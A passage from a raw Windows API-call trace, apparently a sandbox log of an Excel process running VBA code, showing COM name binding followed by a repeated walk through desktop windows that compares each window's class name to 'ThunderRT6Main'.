lpString2="VBAProject", cchCount2=-1) returned 1 [0083.980] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0083.981] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0083.981] IUnknown:Release (This=0xb1d1380) returned 0xb [0083.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb77cd20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0083.981] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0083.981] IUnknown:Release (This=0xb1d1380) returned 0xa [0083.981] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0083.981] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0083.981] IUnknown:Release (This=0xb1d0570) returned 0x12 [0083.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb77cd20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0083.981] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0083.981] IUnknown:Release (This=0xb1d0570) returned 0x11 [0083.981] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0083.981] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0083.981] IUnknown:Release (This=0xb1d1920) returned 0x6 [0083.981] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb77cd20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0083.981] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0083.981] IUnknown:Release (This=0xb1d1920) returned 0x5 [0083.981] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0083.982] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0083.982] IUnknown:Release (This=0x6fed890) returned 0x4 [0083.982] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb77cd20, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0083.982] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0083.982] IUnknown:Release (This=0x6fed890) returned 0x3 [0083.982] IMalloc:Free (This=0x7feffc15380, pv=0xb77cd20) [0086.116] GetAsyncKeyState (vKey=27) returned 0 [0086.116] GetCurrentThreadId () returned 0x92c [0086.116] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0086.116] GetDesktopWindow () returned 0x10010 [0086.116] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0086.116] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0086.116] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0086.116] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0086.116] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0086.116] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.116] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.116] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0086.116] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0086.116] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0086.116] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0086.116] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0086.117] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0086.117] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.117] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.117] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.117] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0086.117] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.117] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.117] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.117] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0086.117] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.117] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.117] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.117] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0086.117] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.117] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.117] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.117] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0086.117] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.117] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.117] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.117] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0086.117] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.117] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.117] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.117] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0086.117] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.117] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.117] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.117] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0086.117] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.117] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.117] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.118] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0086.118] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.118] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.118] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.118] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0086.118] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.118] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.118] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.118] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0086.118] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0086.118] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0086.118] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.118] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0086.118] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.118] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.118] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.118] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0086.118] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Button") returned 6 [0086.118] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0086.118] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.118] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0086.118] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0086.118] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0086.118] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.118] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0086.118] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.118] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.118] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0086.118] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0086.118] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0086.118] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0086.118] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.119] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0086.119] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0086.119] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0086.119] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.119] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0086.119] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0086.119] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0086.119] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0086.119] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0086.119] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0086.119] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0086.119] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.119] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0086.119] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0086.119] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0086.119] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0086.119] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.119] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.119] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.119] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0086.119] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0086.119] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0086.119] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0086.119] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0086.119] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0086.119] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.119] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0086.119] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0086.119] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0086.119] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0086.119] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.120] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.120] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.120] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0086.120] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0086.120] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0086.120] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0086.120] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.120] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.120] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.120] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0086.120] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0086.120] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0086.120] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0086.120] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.120] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.120] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.120] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0086.120] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0086.120] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0086.120] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0086.120] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.120] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.120] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.120] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0086.120] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0086.120] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0086.120] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x202cc [0086.120] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0086.121] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0086.121] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.121] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -1946157056 [0086.121] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0086.121] IsWindowEnabled (hWnd=0x202cc) returned 0 [0086.121] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0086.121] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0086.121] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0086.121] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0086.121] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0086.121] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0086.121] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.121] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0086.121] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0086.121] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0086.121] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0086.121] GetWindowThreadProcessId (in: hWnd=0x101e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.121] GetWindowLongA (hWnd=0x101e0, nIndex=-16) returned 382664704 [0086.121] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0086.121] GetWindowLongPtrA (hWnd=0x101e0, nIndex=-6) returned 0x13f4a0000 [0086.121] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x1020a [0086.121] GetClassNameA (in: hWnd=0x1020a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.121] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.121] GetWindowThreadProcessId (in: hWnd=0x1020a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.121] GetWindowLongA (hWnd=0x1020a, nIndex=-16) returned -1778384896 [0086.121] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0086.121] GetWindowLongPtrA (hWnd=0x1020a, nIndex=-6) returned 0x0 [0086.121] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x1020c [0086.121] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.121] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.121] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.121] GetWindowLongA (hWnd=0x1020c, nIndex=-16) returned -1778384896 [0086.122] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0086.122] GetWindowLongPtrA (hWnd=0x1020c, nIndex=-6) returned 0x0 [0086.122] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0086.122] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.122] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.122] GetWindowThreadProcessId (in: hWnd=0x1020e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.122] GetWindowLongA (hWnd=0x1020e, nIndex=-16) returned -1778384896 [0086.122] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0086.122] GetWindowLongPtrA (hWnd=0x1020e, nIndex=-6) returned 0x0 [0086.122] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10210 [0086.122] GetClassNameA (in: hWnd=0x10210, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.122] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.122] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.122] GetWindowLongA (hWnd=0x10210, nIndex=-16) returned -1778384896 [0086.122] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0086.122] GetWindowLongPtrA (hWnd=0x10210, nIndex=-6) returned 0x0 [0086.122] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x30228 [0086.122] GetClassNameA (in: hWnd=0x30228, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0086.122] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0086.122] GetWindowThreadProcessId (in: hWnd=0x30228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xac4 [0086.122] GetWindow (hWnd=0x30228, uCmd=0x2) returned 0x3022a [0086.122] GetClassNameA (in: hWnd=0x3022a, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="IME") returned 3 [0086.122] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0086.122] GetWindowThreadProcessId (in: hWnd=0x3022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xad8 [0086.122] GetWindow (hWnd=0x3022a, uCmd=0x2) returned 0x102a2 [0086.122] GetClassNameA (in: hWnd=0x102a2, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0086.122] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0086.122] GetWindowThreadProcessId (in: hWnd=0x102a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa74 [0086.122] GetWindow (hWnd=0x102a2, uCmd=0x2) returned 0x2023e [0086.122] GetClassNameA (in: hWnd=0x2023e, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0086.122] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0086.122] GetWindowThreadProcessId (in: hWnd=0x2023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.122] GetWindowLongA (hWnd=0x2023e, nIndex=-16) returned 213909504 [0086.122] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0086.122] GetWindowLongPtrA (hWnd=0x2023e, nIndex=-6) returned 0x7feef760000 [0086.122] GetWindow (hWnd=0x2023e, uCmd=0x2) returned 0x20214 [0086.123] GetClassNameA (in: hWnd=0x20214, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0086.123] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0086.123] GetWindowThreadProcessId (in: hWnd=0x20214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.123] GetWindowLongA (hWnd=0x20214, nIndex=-16) returned -2080374784 [0086.123] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0086.123] GetWindowLongPtrA (hWnd=0x20214, nIndex=-6) returned 0x7fef2910000 [0086.123] GetWindow (hWnd=0x20214, uCmd=0x2) returned 0x101de [0086.123] GetClassNameA (in: hWnd=0x101de, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.123] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.123] GetWindowThreadProcessId (in: hWnd=0x101de, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.123] GetWindowLongA (hWnd=0x101de, nIndex=-16) returned -2046820352 [0086.123] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0086.123] GetWindowLongPtrA (hWnd=0x101de, nIndex=-6) returned 0x0 [0086.123] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101dc [0086.123] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.123] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.123] GetWindowThreadProcessId (in: hWnd=0x101dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.123] GetWindowLongA (hWnd=0x101dc, nIndex=-16) returned -2046820352 [0086.123] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0086.123] GetWindowLongPtrA (hWnd=0x101dc, nIndex=-6) returned 0x0 [0086.123] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101da [0086.123] GetClassNameA (in: hWnd=0x101da, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.123] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0086.123] GetWindowThreadProcessId (in: hWnd=0x101da, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0086.123] GetWindowLongA (hWnd=0x101da, nIndex=-16) returned -2046820352 [0086.123] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0086.123] GetWindowLongPtrA (hWnd=0x101da, nIndex=-6) returned 0x0 [0086.123] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d8 [0086.123] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x28da90, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0086.123] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 